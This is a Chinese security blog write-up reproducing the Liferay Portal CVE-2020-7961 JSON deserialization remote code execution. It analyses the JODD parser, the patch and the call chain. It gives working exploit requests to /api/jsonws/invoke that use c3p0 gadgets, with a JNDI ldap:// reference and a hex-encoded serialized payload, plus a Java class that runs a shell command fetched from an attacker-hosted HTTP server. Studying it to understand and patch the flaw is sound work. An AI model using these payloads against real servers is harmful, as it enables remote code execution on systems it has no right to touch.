一、背景
这是一篇 4 月份复现 LiferayPortal rce(CVE-2020-7961)漏洞时的笔记,当时忙着做渗透没空整理,现在发出来就当是学习 JODD 反序列化的记录吧,里面 2 个 Gadget com.mchange.v2.c3p0.JndiRefForwardingDataSource 和 com.mchange.v2.c3p0.WrapperConnectionPoolDataSource 的 Poc 构造过程,后面还有一些回显的研究。本文较长请耐心阅读!
二、漏洞信息
漏洞名称 | Liferay Portal CE 反序列化命令执行漏洞 | |
---|---|---|
CVE 编号 | CVE-2020-7961 | |
影响范围 | 6.1、6.2、7.0、7.1、7.2 | |
威胁等级 | 严重 | |
公开时间 | 2020 年 3 月 20 日 |
三、漏洞分析
Liferay Portal 提供了 Json Web Service 服务,对于某些可以调用的端点,如果某个方法提供的是 Object 参数类型,那么就能够构造符合 Java Beans 的可利用恶意类,传递构造好的 json 反序列化串,y 反序列化时会自动调用恶意类的 setter 方法以及默认构造方法。
3.1JODD 序列化与反序列化
根据 JODD 官网手册 (https://jodd.org/json/) 可知 jodd 采用 JsonSerializer 和 JsonParser 对进行序列化和反序列化操作
从官网https://jodd.org/json/json-serializer.html 可知 JODD 序列化有 2 种方式 JsonParser.map("values.keys", Long.class).parse(json); 和 jsonParser.setClassMetadataName("class").parse(json);官方提示 setClassMetadataName 方式有安全风险
*注 2018 年曝光的 liferay CST-7111 RCE via JSON deserialization 就是利用第 2 种方式加载的恶意类
3.2Liferay 中的 JODD 序列化与反序列化
Liferay 中对 JODD JsonSerializer 的包装是 com.liferay.portal.json.JSONSerializerImpl 类:Liferay 中对 JODD JsonParser 的包装是 com.liferay.portal.json.JSONDeserializerImpl 类经过处理之后还是调用了 jodd.json.JsonSerializer 和 jodd.json.JsonParser 进行序列化和反序列化
3.3 Liferay 补丁分析
Liferay 的新补丁在 com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable 中增加了类型校验_checkTypeIsAssignable在_checkTypeIsAssignable 中增加了对 parameterType.getName() 参数的类名、类型判断、并增加白名单校验,白名单_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES
3.4 动态调试
/api/jsonws/提供了大量可以调用 webservice 的方法,这些方法有几种调用形式:1) 通过 /api/jsonws/invoke 将要调用的方法和参数通过 POST 传递调用
2) 通过 url 的形式调用/api/jsonws/service-class-name/service-method-name,将要调用的方法和参数通过 POST 表单或 GET 参数形式传递
api/jsonws 在 web.xml 中的映射配置其对应的类为 com.liferay.portal.jsonwebservice.JSONWebServiceServlet
打开http://192.168.80.140:8080/api/jsonws选中任意一个 api 如/announcementsdelivery/update-delivery,提交数据调试查看调用链,当选择 invoke 方法提交时的调用链:
->com.liferay.portal.jsonwebservice.JSONWebServiceServiceAction#getJSON
->com.liferay.portal.jsonwebservice.JSONWebServiceServiceAction#getJSONWebServiceAction //处理 json api
->com.liferay.portal.json.JSONFactoryImpl#looseDeserialize
->com.liferay.portal.json.JSONFactoryImpl#JSONFactoryImpl
->com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl##_convertValueToParameterValue
->com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#invoke._jsonWebServiceActionParameters
->com.liferay.portal.json.JSONDeserializerImpl#JSONDeserializerImpl
->com.liferay.portal.json.JSONDeserializerImpl#deserialize(String)
->jodd.json.JsonParser#parse(String, Class<T>)
->com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#
->JSONWebServiceInvokerAction
->com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#invoke
->com.liferay.portal.struts.JSONAction#execute
大致流程为:查找 api 对应的方法->将 POST 请求中参数转化为该 api 方法的参数->类型一致->恢复参数对象->利用 Invoke 反射调用该方法
通过调用链分析发现在 com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_prepareParameters 中配置了_jsonWebServiceActionParameters 属性,该属性又调用了 JSONWebServiceActionParametersMap在 com.liferay.portal.jsonwebservice.JSONWebServiceActionParametersMap#put 方法中,当参数以+开头时,用:分割参数名和类型,此处可控通过参数传递而 PUT 方法的操作是在 com.liferay.portal.jsonwebservice.action.JSONWebServiceInvoker 反射 JNDI 注入啦 Action#_executeStatement 中实现到此就可以构造 Invoker 反射 JNDI 注入啦
3.4 Poc 构造
找到了注入点,因为要调用 Object 对象故要选择默认类型为 java.lang.Object 且参数名要+开头的 service,有这样 2 个 api 符合要求/expandocolumn/add-column 和/expandocolumn/update-column
POST 请求参数为:
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=oAE9QJey&formDate=1589421427275&tableId=1&name=1&type=1&%2BdefaultData:
现在来找在 setter 方法中或默认构造方法中存在恶意操作的类,通过分析发现可以利用 c3p0 中的 2 个 Gadgetcom.mchange.v2.c3p0.JndiRefForwardingDataSource 和 com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
3.1.JndiRefForwardingDataSource 中有 2 个参数 jndiName 和 loginTimeout 可以直接构造 ldap/rmi 来 Reference 恶意 Object 达到 RCE
`POC1:
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=oAE9QJey&formDate=1589421427275&tableId=1&name=1&type=1&%2BdefaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}
3.2.WrapperConnectionPoolDataSource 是数据连接池,其中需要一个参数 userOverridesAsString,参数值用经过 makeC3P0UserOverridesString 处理 HexAsciiSerializedMap 经过 hex 编码的属性值,其中有这样几个字段远程服务器地址,文件名,最后通过 com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized 加载恶意类
POC2:
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:Hex-Shellcode"}
Hex-Shellcode 可以通过 yso 或 marshalsec 生成后面进行 Hex 编码
四、漏洞复现
4.1. 环境搭建
可以下载带 tomcat 版本 liferay-ce-portal 运行,也可以用 vulhub 的 Docker 环境:下载地址:https://cdn.lfrs.sl/releases.liferay.com/portal/7.2.0-ga1/liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.7z
*注,本次复现以 Liferay Portal 7.2.0 GA1 为例
4.2. 新建一个 Runtime 命令执行恶意文件 touch.java 并编译成 touch.class
public class touch {
static {
try {
String[] cmd = {"bash", "-c", "touch /tmp/success"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
4.3. 在 touch.class 目录启动一个 HTTPServer 监听 8000 端口
4.4. 利用 yso 中的 Gadget C3P0(com.mchange.v2.c3p0.WrapperConnectionPoolDataSource) 生成 payload.ser
将 payload.ser hex 编码
4.5. 发送带有 payload.ser hex 编码的 Poc
Poc:
POST /api/jsonws/invoke HTTP/1.1
Host: host:port
Content-Length: 1370
cmd: id
Content-Type: application/x-www-form-urlencoded
Connection: close
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:Hex-Shellcode"}
Hex-Shellcode 字段替换为 yso 生成的 paylaod 的 hex 编码 成功 touch 文件 /tmp/success
4.6. 回显利用
可以 liferay 自带的 2 个 Gadget 进行回显 com.liferay.portal.kernel.security.access.control.AccessControlUtil;
com.liferay.portal.kernel.security.auth.AccessControlContext;
五、修复建议
官方已经发布新补丁
https://liferay.dev/blogs/-/blogs/security-patches-for-liferay-portal-6-2-7-0-and-7-1
六、附录
参考
https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
*本文作者:Ja0k,转载请注明来自FreeBuf.COM